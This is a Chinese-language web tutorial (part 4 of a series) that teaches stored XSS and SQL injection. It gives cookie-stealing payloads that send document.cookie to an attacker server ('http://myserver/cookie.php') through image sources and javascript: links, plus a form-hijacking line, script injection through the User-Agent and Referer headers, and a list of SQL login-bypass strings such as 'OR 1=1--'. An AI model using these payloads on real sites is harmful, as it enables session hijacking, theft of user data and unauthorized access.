XSS & SQL注入(4)
我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~什么是SQL注入
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
'='
'OR 1=1--
'OR a=a--
'OR'
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
内容版权声明:除非注明,否则皆为本站原创文章。